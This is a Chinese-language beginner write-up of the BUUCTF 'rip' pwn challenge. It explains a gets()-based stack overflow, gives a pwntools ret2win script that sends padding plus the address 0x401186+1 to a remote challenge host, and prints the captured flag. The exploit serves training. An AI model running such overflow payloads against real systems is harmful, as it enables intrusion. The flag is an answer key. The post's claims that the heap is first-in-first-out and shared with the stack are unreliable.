【CTF】rip--堆栈的简单认识

前言

最近在学二进制，准备拿BUUCTF的pwn试试手，还在摸索的阶段，有什么思路出错的地方还请指出。

解题思路

下载文件到kali，查看文件为 64-bit的ELF（ELF为Linux下的可执行文件，相当于Windows的exe）

放入IDA中，F5查看伪代码，发现使用了gets函数，该函数在C语言中为无限制输入，可利用栈溢出，return一个危险函数，导致命令执行

命令执行函数就是fun()方法，调用system函数，可以远控服务器

fun()的地址为0x401186，只要使栈溢出，使return返回的是fun()的地址，就能触发命令执行

栈溢出和堆溢出是两种不同的情况，以下是对栈和堆的简单区分：

• stack（栈）由操作系统自动分配释放 ，用于存放函数的参数值、局部变量等
• Heap负责存储动态分配的内存空间，如c语言中的malloc/free分配内存时，就会分配到Heap区域

64位CPU对应寄存器
● RSP(栈顶，低地址)
● RBP(栈底，高地址）
● RIP(当前栈栈帧执行的命令)
32位CPU对应寄存器
● ESP(栈顶)
● EBP(栈底）
● EIP(当前栈栈帧执行的命令)

---

结合图可以看出，Stack（栈）先进后出（从高地址往低地址开辟内存空间），Heap（堆）先进先出的特点（从低地址往高地址开辟内存空间），中间的shared libraries是堆和栈是共享的一片内存空间

先写出payload：

from pwn import *;

p =remote('node5.buuoj.cn',27090)
payload = b'C'*15 + b'D'*8 + p64(0x401186+1)
p.sendline(payload);
p.interactive()

整个payload意图就是导致栈溢出到指定位置，再传入fun()的地址0x401186就能导致命令执行，+1则是为了维持堆栈平衡，这个在本地是不需要的，在远程服务器则需要。
至此，我们就能连接远程服务器，cat flag

flag{ab21f884-ecef-4f2a-88fa-70d7b0b96549}